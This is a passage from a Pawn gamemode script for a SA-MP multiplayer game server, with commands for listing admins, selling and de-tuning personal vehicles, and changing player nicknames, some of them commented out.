	   mysql_tquery(handle,"SELECT * FROM `users` WHERE pAdmin!='0'","ShowAdmins","i",playerid);
	}
	return 1;
}
		if(!strcmp(cmd,"/asponsers",true))
{
	if(PINFO[playerid][pAdmin] < 10) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
	{
	   mysql_tquery(handle,"SELECT * FROM `users` WHERE pSponser!='0'","ShowSpos","i",playerid);
	}
	return 1;
}
if(!strcmp(cmd,"/aleaders",true))
{
	if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pMlp] == 0 && PINFO[playerid][pSlp] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
	{
	   mysql_tquery(handle,"SELECT * FROM `users` WHERE pLeader!='0'","ShowLeaders","i",playerid);
	}
	return 1;
}


		/*
		if(!strcmp(cmd,"/paein",true))
		{
			if(PINFO[playerid][pAdmin] < 3) return SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command.");
			SCM(playerid,COLOR_GG,"You have been teleported.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /paein <Amount(FLOAT)>");
			new Float:alii = floatstr(tmp);
		  new sttrr[256];
		  format(sttrr,256,"{FFFFFF}Admin %s went down.", PlayerInfo[playerid][pName]);
		  AdminWarn(sttrr);
			if(IsPlayerInAnyVehicle(playerid))
			{
				new Float:ppv[3];
				GetVehiclePos(GetPlayerVehicleID(playerid),ppv[0],ppv[1],ppv[2]);
				SetVehiclePos(GetPlayerVehicleID(playerid),ppv[0],ppv[1],ppv[2]-alii);
				return 1;
			}
			new Float:ppp[3];
			GetPlayerPos(playerid,ppp[0],ppp[1],ppp[2]);
			SetPlayerPos(playerid,ppp[0],ppp[1],ppp[2]-alii);
			return 1;
		}
		*/
		if(!strcmp(cmd,"/sellvehicle",true))
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(PINFO[playerid][pLevel] < 5) return SCM(playerid,COL_SYN,"You should have level 5 or higher");
			if(!IsPlayerInAnyVehicle(playerid) || GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid,COL_SYN,"You must drive your car to sell.");
			new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];
			if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_1])
			{
				if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not on dealer ship.");
				new price = (vInfo[v1][cPrice])*(40)/(100);
				new string[256];
				format(string,256,"Do you accept to sell your car with $%s price?\n\nIf you accept it select Accept If not, select Decline",FormatNumber(price));
				ShowPlayerDialog(playerid,8347,DIALOG_STYLE_MSGBOX,"Sell your car in DealerShip:",string,"Accept","Decline");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_2])
			{
				if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not on dealer ship.");
				new price = (vInfo[v2][cPrice])*(40)/(100);
				new string[256];
				format(string,256,"Do you accept to sell your car with $%s price?\n\nIf you accept it select Accept If not, select Decline",FormatNumber(price));
				ShowPlayerDialog(playerid,8447,DIALOG_STYLE_MSGBOX,"Sell your car in DealerShip:",string,"Accept","Decline");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_3])
			{
				if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not on dealer ship.");
				new price = (vInfo[v3][cPrice])*(40)/(100);
				new string[256];
				format(string,256,"Do you accept to sell your car with $%s price?\n\nIf you accept it select Accept If not, select Decline",FormatNumber(price));
				ShowPlayerDialog(playerid,8547,DIALOG_STYLE_MSGBOX,"Sell your car in DealerShip:",string,"Accept","Decline");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_4])
			{
				if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not on dealer ship.");
				new price = (vInfo[v4][cPrice])*(40)/(100);
				new string[256];
				format(string,256,"Do you accept to sell your car with $%s price?\n\nIf you accept it select Accept If not, select Decline",FormatNumber(price));
				ShowPlayerDialog(playerid,8647,DIALOG_STYLE_MSGBOX,"Sell your car in DealerShip:",string,"Accept","Decline");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_5])
			{
				if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not on dealer ship.");
				new price = (vInfo[v5][cPrice])*(40)/(100);
				new string[256];
				format(string,256,"Do you accept to sell your car with $%s price?\n\nIf you accept it select Accept If not, select Decline",FormatNumber(price));
				ShowPlayerDialog(playerid,8747,DIALOG_STYLE_MSGBOX,"Sell your car in DealerShip:",string,"Accept","Decline");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_6])
			{
				if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not on dealer ship.");
				new price = (vInfo[v6][cPrice])*(40)/(100);
				new string[256];
				format(string,256,"Do you accept to sell your car with $%s price?\n\nIf you accept it select Accept If not, select Decline",FormatNumber(price));
				ShowPlayerDialog(playerid,8847,DIALOG_STYLE_MSGBOX,"Sell your car in DealerShip:",string,"Accept","Decline");
				return 1;
			}
			else return SCM(playerid,COLOR_SINA3,"You need to sit on your vehicle.");
		}

	   if(!strcmp(cmd,"/removetuning",true))
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");
			if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_1])
			{
				new veh = PINFO[playerid][pCar_1];
				new v = PINFO[playerid][pVeh1];
				if(GetPlayerVehicleID(playerid) != veh) return SCM(playerid,COLOR_SINA3,"You must be in your personal car to remove tuning.");
				if(vInfo[v][cMod1] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod1]);
				if(vInfo[v][cMod3] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod3]);
				if(vInfo[v][cMod4] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod4]);
				if(vInfo[v][cMod5] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod5]);
				if(vInfo[v][cMod6] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod6]);
				if(vInfo[v][cMod7] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod7]);
				if(vInfo[v][cMod8] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod8]);
				if(vInfo[v][cMod9] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod9]);
				if(vInfo[v][cMod10] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod10]);
				if(vInfo[v][cMod11] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod11]);
				if(vInfo[v][cMod12] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod12]);
				if(vInfo[v][cMod13] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod13]);
				if(vInfo[v][cMod14] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod14]);
				if(vInfo[v][cMod15] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod15]);
				if(vInfo[v][cMod16] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod16]);
				if(vInfo[v][cMod17] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod17]);
				if(vInfo[v][cPaintJob] != 3) ChangeVehiclePaintjob(veh, 3);
				vInfo[v][cMod1] = 0;
				SaveKonValV(v, "cMod1", 0);
				vInfo[v][cMod3] = 0;
				SaveKonValV(v, "cMod3", 0);
				vInfo[v][cMod4] = 0;
				SaveKonValV(v, "cMod4", 0);
				vInfo[v][cMod5] = 0;
				SaveKonValV(v, "cMod5", 0);
				vInfo[v][cMod6] = 0;
				SaveKonValV(v, "cMod6", 0);
				vInfo[v][cMod7] = 0;
				SaveKonValV(v, "cMod7", 0);
				vInfo[v][cMod8] = 0;
				SaveKonValV(v, "cMod8", 0);
				vInfo[v][cMod9] = 0;
				SaveKonValV(v, "cMod9", 0);
				vInfo[v][cMod10] = 0;
				SaveKonValV(v, "cMod10", 0);
				vInfo[v][cMod11] = 0;
				SaveKonValV(v, "cMod11", 0);
				vInfo[v][cMod12] = 0;
				SaveKonValV(v, "cMod12", 0);
				vInfo[v][cMod13] = 0;
				SaveKonValV(v, "cMod13", 0);
				vInfo[v][cMod14] = 0;
				SaveKonValV(v, "cMod14", 0);
				vInfo[v][cMod15] = 0;
				SaveKonValV(v, "cMod15", 0);
				vInfo[v][cMod16] = 0;
				SaveKonValV(v, "cMod16", 0);
				vInfo[v][cMod17] = 0;
				SaveKonValV(v, "cMod17", 0);
				vInfo[v][cPaintJob] = 3;
				SaveKonValV(v, "cPaintJob", 3);
				SCM(playerid,COLOR_GREEN,"All tunings Removed from vehicle.");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_2])
			{
				new veh = PINFO[playerid][pCar_2];
				new v = PINFO[playerid][pVeh2];
				if(GetPlayerVehicleID(playerid) != veh) return SCM(playerid,COLOR_SINA3,"You must be in your personal car to remove tuning.");
				if(vInfo[v][cMod1] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod1]);
				if(vInfo[v][cMod3] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod3]);
				if(vInfo[v][cMod4] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod4]);
				if(vInfo[v][cMod5] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod5]);
				if(vInfo[v][cMod6] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod6]);
				if(vInfo[v][cMod7] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod7]);
				if(vInfo[v][cMod8] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod8]);
				if(vInfo[v][cMod9] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod9]);
				if(vInfo[v][cMod10] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod10]);
				if(vInfo[v][cMod11] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod11]);
				if(vInfo[v][cMod12] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod12]);
				if(vInfo[v][cMod13] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod13]);
				if(vInfo[v][cMod14] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod14]);
				if(vInfo[v][cMod15] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod15]);
				if(vInfo[v][cMod16] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod16]);
				if(vInfo[v][cMod17] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod17]);
				if(vInfo[v][cPaintJob] != 3) ChangeVehiclePaintjob(veh, 3);
				vInfo[v][cMod1] = 0;
				SaveKonValV(v, "cMod1", 0);
				vInfo[v][cMod3] = 0;
				SaveKonValV(v, "cMod3", 0);
				vInfo[v][cMod4] = 0;
				SaveKonValV(v, "cMod4", 0);
				vInfo[v][cMod5] = 0;
				SaveKonValV(v, "cMod5", 0);
				vInfo[v][cMod6] = 0;
				SaveKonValV(v, "cMod6", 0);
				vInfo[v][cMod7] = 0;
				SaveKonValV(v, "cMod7", 0);
				vInfo[v][cMod8] = 0;
				SaveKonValV(v, "cMod8", 0);
				vInfo[v][cMod9] = 0;
				SaveKonValV(v, "cMod9", 0);
				vInfo[v][cMod10] = 0;
				SaveKonValV(v, "cMod10", 0);
				vInfo[v][cMod11] = 0;
				SaveKonValV(v, "cMod11", 0);
				vInfo[v][cMod12] = 0;
				SaveKonValV(v, "cMod12", 0);
				vInfo[v][cMod13] = 0;
				SaveKonValV(v, "cMod13", 0);
				vInfo[v][cMod14] = 0;
				SaveKonValV(v, "cMod14", 0);
				vInfo[v][cMod15] = 0;
				SaveKonValV(v, "cMod15", 0);
				vInfo[v][cMod16] = 0;
				SaveKonValV(v, "cMod16", 0);
				vInfo[v][cMod17] = 0;
				SaveKonValV(v, "cMod17", 0);
				vInfo[v][cPaintJob] = 3;
				SaveKonValV(v, "cPaintJob", 3);
				SCM(playerid,COLOR_GREEN,"All tunings Removed from vehicle.");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_3])
			{
				new veh = PINFO[playerid][pCar_3];
				new v = PINFO[playerid][pVeh3];
				if(GetPlayerVehicleID(playerid) != veh) return SCM(playerid,COLOR_SINA3,"You must be in your personal car to remove tuning.");
				if(vInfo[v][cMod1] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod1]);
				if(vInfo[v][cMod3] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod3]);
				if(vInfo[v][cMod4] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod4]);
				if(vInfo[v][cMod5] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod5]);
				if(vInfo[v][cMod6] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod6]);
				if(vInfo[v][cMod7] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod7]);
				if(vInfo[v][cMod8] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod8]);
				if(vInfo[v][cMod9] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod9]);
				if(vInfo[v][cMod10] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod10]);
				if(vInfo[v][cMod11] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod11]);
				if(vInfo[v][cMod12] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod12]);
				if(vInfo[v][cMod13] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod13]);
				if(vInfo[v][cMod14] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod14]);
				if(vInfo[v][cMod15] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod15]);
				if(vInfo[v][cMod16] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod16]);
				if(vInfo[v][cMod17] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod17]);
				if(vInfo[v][cPaintJob] != 3) ChangeVehiclePaintjob(veh, 3);
				vInfo[v][cMod1] = 0;
				SaveKonValV(v, "cMod1", 0);
				vInfo[v][cMod3] = 0;
				SaveKonValV(v, "cMod3", 0);
				vInfo[v][cMod4] = 0;
				SaveKonValV(v, "cMod4", 0);
				vInfo[v][cMod5] = 0;
				SaveKonValV(v, "cMod5", 0);
				vInfo[v][cMod6] = 0;
				SaveKonValV(v, "cMod6", 0);
				vInfo[v][cMod7] = 0;
				SaveKonValV(v, "cMod7", 0);
				vInfo[v][cMod8] = 0;
				SaveKonValV(v, "cMod8", 0);
				vInfo[v][cMod9] = 0;
				SaveKonValV(v, "cMod9", 0);
				vInfo[v][cMod10] = 0;
				SaveKonValV(v, "cMod10", 0);
				vInfo[v][cMod11] = 0;
				SaveKonValV(v, "cMod11", 0);
				vInfo[v][cMod12] = 0;
				SaveKonValV(v, "cMod12", 0);
				vInfo[v][cMod13] = 0;
				SaveKonValV(v, "cMod13", 0);
				vInfo[v][cMod14] = 0;
				SaveKonValV(v, "cMod14", 0);
				vInfo[v][cMod15] = 0;
				SaveKonValV(v, "cMod15", 0);
				vInfo[v][cMod16] = 0;
				SaveKonValV(v, "cMod16", 0);
				vInfo[v][cMod17] = 0;
				SaveKonValV(v, "cMod17", 0);
				vInfo[v][cPaintJob] = 3;
				SaveKonValV(v, "cPaintJob", 3);
				SCM(playerid,COLOR_GREEN,"All tunings Removed from vehicle.");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_4])
			{
				new veh = PINFO[playerid][pCar_4];
				new v = PINFO[playerid][pVeh4];
				if(GetPlayerVehicleID(playerid) != veh) return SCM(playerid,COLOR_SINA3,"You must be in your personal car to remove tuning.");
				if(vInfo[v][cMod1] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod1]);
				if(vInfo[v][cMod3] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod3]);
				if(vInfo[v][cMod4] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod4]);
				if(vInfo[v][cMod5] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod5]);
				if(vInfo[v][cMod6] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod6]);
				if(vInfo[v][cMod7] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod7]);
				if(vInfo[v][cMod8] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod8]);
				if(vInfo[v][cMod9] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod9]);
				if(vInfo[v][cMod10] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod10]);
				if(vInfo[v][cMod11] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod11]);
				if(vInfo[v][cMod12] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod12]);
				if(vInfo[v][cMod13] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod13]);
				if(vInfo[v][cMod14] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod14]);
				if(vInfo[v][cMod15] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod15]);
				if(vInfo[v][cMod16] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod16]);
				if(vInfo[v][cMod17] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod17]);
				if(vInfo[v][cPaintJob] != 3) ChangeVehiclePaintjob(veh, 3);
				vInfo[v][cMod1] = 0;
				SaveKonValV(v, "cMod1", 0);
				vInfo[v][cMod3] = 0;
				SaveKonValV(v, "cMod3", 0);
				vInfo[v][cMod4] = 0;
				SaveKonValV(v, "cMod4", 0);
				vInfo[v][cMod5] = 0;
				SaveKonValV(v, "cMod5", 0);
				vInfo[v][cMod6] = 0;
				SaveKonValV(v, "cMod6", 0);
				vInfo[v][cMod7] = 0;
				SaveKonValV(v, "cMod7", 0);
				vInfo[v][cMod8] = 0;
				SaveKonValV(v, "cMod8", 0);
				vInfo[v][cMod9] = 0;
				SaveKonValV(v, "cMod9", 0);
				vInfo[v][cMod10] = 0;
				SaveKonValV(v, "cMod10", 0);
				vInfo[v][cMod11] = 0;
				SaveKonValV(v, "cMod11", 0);
				vInfo[v][cMod12] = 0;
				SaveKonValV(v, "cMod12", 0);
				vInfo[v][cMod13] = 0;
				SaveKonValV(v, "cMod13", 0);
				vInfo[v][cMod14] = 0;
				SaveKonValV(v, "cMod14", 0);
				vInfo[v][cMod15] = 0;
				SaveKonValV(v, "cMod15", 0);
				vInfo[v][cMod16] = 0;
				SaveKonValV(v, "cMod16", 0);
				vInfo[v][cMod17] = 0;
				SaveKonValV(v, "cMod17", 0);
				vInfo[v][cPaintJob] = 3;
				SaveKonValV(v, "cPaintJob", 3);
				SCM(playerid,COLOR_GREEN,"All tunings Removed from vehicle.");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_5])
			{
				new veh = PINFO[playerid][pCar_5];
				new v = PINFO[playerid][pVeh5];
				if(GetPlayerVehicleID(playerid) != veh) return SCM(playerid,COLOR_SINA3,"You must be in your personal car to remove tuning.");
				if(vInfo[v][cMod1] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod1]);
				if(vInfo[v][cMod3] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod3]);
				if(vInfo[v][cMod4] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod4]);
				if(vInfo[v][cMod5] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod5]);
				if(vInfo[v][cMod6] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod6]);
				if(vInfo[v][cMod7] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod7]);
				if(vInfo[v][cMod8] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod8]);
				if(vInfo[v][cMod9] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod9]);
				if(vInfo[v][cMod10] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod10]);
				if(vInfo[v][cMod11] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod11]);
				if(vInfo[v][cMod12] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod12]);
				if(vInfo[v][cMod13] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod13]);
				if(vInfo[v][cMod14] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod14]);
				if(vInfo[v][cMod15] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod15]);
				if(vInfo[v][cMod16] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod16]);
				if(vInfo[v][cMod17] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod17]);
				if(vInfo[v][cPaintJob] != 3) ChangeVehiclePaintjob(veh, 3);
				vInfo[v][cMod1] = 0;
				SaveKonValV(v, "cMod1", 0);
				vInfo[v][cMod3] = 0;
				SaveKonValV(v, "cMod3", 0);
				vInfo[v][cMod4] = 0;
				SaveKonValV(v, "cMod4", 0);
				vInfo[v][cMod5] = 0;
				SaveKonValV(v, "cMod5", 0);
				vInfo[v][cMod6] = 0;
				SaveKonValV(v, "cMod6", 0);
				vInfo[v][cMod7] = 0;
				SaveKonValV(v, "cMod7", 0);
				vInfo[v][cMod8] = 0;
				SaveKonValV(v, "cMod8", 0);
				vInfo[v][cMod9] = 0;
				SaveKonValV(v, "cMod9", 0);
				vInfo[v][cMod10] = 0;
				SaveKonValV(v, "cMod10", 0);
				vInfo[v][cMod11] = 0;
				SaveKonValV(v, "cMod11", 0);
				vInfo[v][cMod12] = 0;
				SaveKonValV(v, "cMod12", 0);
				vInfo[v][cMod13] = 0;
				SaveKonValV(v, "cMod13", 0);
				vInfo[v][cMod14] = 0;
				SaveKonValV(v, "cMod14", 0);
				vInfo[v][cMod15] = 0;
				SaveKonValV(v, "cMod15", 0);
				vInfo[v][cMod16] = 0;
				SaveKonValV(v, "cMod16", 0);
				vInfo[v][cMod17] = 0;
				SaveKonValV(v, "cMod17", 0);
				vInfo[v][cPaintJob] = 3;
				SaveKonValV(v, "cPaintJob", 3);
				SCM(playerid,COLOR_GREEN,"All tunings Removed from vehicle.");
				return 1;
			}
			else if(GetPlayerVehicleID(playerid) == PINFO[playerid][pCar_6])
			{
				new veh = PINFO[playerid][pCar_6];
				new v = PINFO[playerid][pVeh6];
				if(GetPlayerVehicleID(playerid) != veh) return SCM(playerid,COLOR_SINA3,"You must be in your personal car to remove tuning.");
				if(vInfo[v][cMod1] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod1]);
				if(vInfo[v][cMod3] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod3]);
				if(vInfo[v][cMod4] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod4]);
				if(vInfo[v][cMod5] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod5]);
				if(vInfo[v][cMod6] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod6]);
				if(vInfo[v][cMod7] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod7]);
				if(vInfo[v][cMod8] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod8]);
				if(vInfo[v][cMod9] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod9]);
				if(vInfo[v][cMod10] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod10]);
				if(vInfo[v][cMod11] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod11]);
				if(vInfo[v][cMod12] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod12]);
				if(vInfo[v][cMod13] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod13]);
				if(vInfo[v][cMod14] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod14]);
				if(vInfo[v][cMod15] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod15]);
				if(vInfo[v][cMod16] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod16]);
				if(vInfo[v][cMod17] != 0) RemoveVehicleComponent(veh,vInfo[v][cMod17]);
				if(vInfo[v][cPaintJob] != 3) ChangeVehiclePaintjob(veh, 3);
				vInfo[v][cMod1] = 0;
				SaveKonValV(v, "cMod1", 0);
				vInfo[v][cMod3] = 0;
				SaveKonValV(v, "cMod3", 0);
				vInfo[v][cMod4] = 0;
				SaveKonValV(v, "cMod4", 0);
				vInfo[v][cMod5] = 0;
				SaveKonValV(v, "cMod5", 0);
				vInfo[v][cMod6] = 0;
				SaveKonValV(v, "cMod6", 0);
				vInfo[v][cMod7] = 0;
				SaveKonValV(v, "cMod7", 0);
				vInfo[v][cMod8] = 0;
				SaveKonValV(v, "cMod8", 0);
				vInfo[v][cMod9] = 0;
				SaveKonValV(v, "cMod9", 0);
				vInfo[v][cMod10] = 0;
				SaveKonValV(v, "cMod10", 0);
				vInfo[v][cMod11] = 0;
				SaveKonValV(v, "cMod11", 0);
				vInfo[v][cMod12] = 0;
				SaveKonValV(v, "cMod12", 0);
				vInfo[v][cMod13] = 0;
				SaveKonValV(v, "cMod13", 0);
				vInfo[v][cMod14] = 0;
				SaveKonValV(v, "cMod14", 0);
				vInfo[v][cMod15] = 0;
				SaveKonValV(v, "cMod15", 0);
				vInfo[v][cMod16] = 0;
				SaveKonValV(v, "cMod16", 0);
				vInfo[v][cMod17] = 0;
				SaveKonValV(v, "cMod17", 0);
				vInfo[v][cPaintJob] = 3;
				SaveKonValV(v, "cPaintJob", 3);
				SCM(playerid,COLOR_GREEN,"All tunings Removed from vehicle.");
				return 1;
			}
			else return SCM(playerid,COLOR_SINA3,"You must be sit on your vehicle to sell it.");
		}
	//              This Cmd Closed by Sina
/*		if(!strcmp(cmd,"/closeforupdate",true))
	   {
			if(PINFO[playerid][pAdmin] < 2001) return SCM(playerid,COLOR_SINA2,"Error: You are not authorized to use this command.");
			new string[256];
			SaveAccounts();
			format(string, sizeof string, "{FFFFFF}%s has been requested for server exit.",PINFO[playerid][pName]);
			AdminWarn(string);
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i)) KickWithMessage(i, COLOR_SINA2, "[This server is Updateing...]");
			}
			SendRconCommand("hostname Azin Game: [Server is Updateing ...]");
			SendRconCommand("password 333930");
			SetTimer("SVExitKon", 30000, 0);
			return 1;
		}  */

		// Edit //
	// End Edit //
		if(strcmp(cmd, "/changenickname", true) == 0 || strcmp(cmd, "/changenick", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 10 && PINFO[playerid][pSponser] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changenickname <Playerid/PartOfName> <NewName>");
			new user = ReturnUser6(tmp);
			new para1;
			para1 = ReturnUser6(tmp);
			if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use ChangeNick your higher admins.");
			if(!IsPlayerConnected(para1)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			//if(strlen(tmp)<3||strlen(tmp)>20)return SCM(playerid,COLOR_YELLOW2,"Error: You can't change name with less than 3 characters or more than 20 characters.");
			if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
		  {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
		  }
			new taraf = ReturnUser6(tmp);
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changenickname <Playerid/PartOfName> <NewName>");
			if(strlen(tmp)<3||strlen(tmp)>20)return SCM(playerid,COLOR_YELLOW2,"Error: You can't change name with less than 3 characters or more than 20 characters.");
			if(FindBadSign(tmp)) return SCM(playerid,COLOR_GG,"Use A-Z a-z 0-9 () [] . in new name");
			gPlayerLogged[taraf] = 0;
			RequestSelected[taraf] = true;
			new query[300];
			mysql_format(handle, query,300,"SELECT * FROM `users` WHERE pName='%e'",tmp);
			mysql_function_query(handle,query,true,"OnPlayerChangeName","iiss",playerid,taraf,PINFO[taraf][pName],tmp);
			return 1;
		}
		/*
			if(!strcmp(cmd,"/changenickoffline",true))
			{
				if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changenickoffline <FullName> <NewName>");
				new oldname = ReturnUserEx(tmp);
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changenickoffline <FullName> <NewName>");
				new taraf = ReturnUserEx(tmp);
				if(strlen(tmp)<3||strlen(tmp)>20)return SCM(playerid,COLOR_YELLOW2,"Error: You can't change name with less than 3 characters or more than 20 characters.");
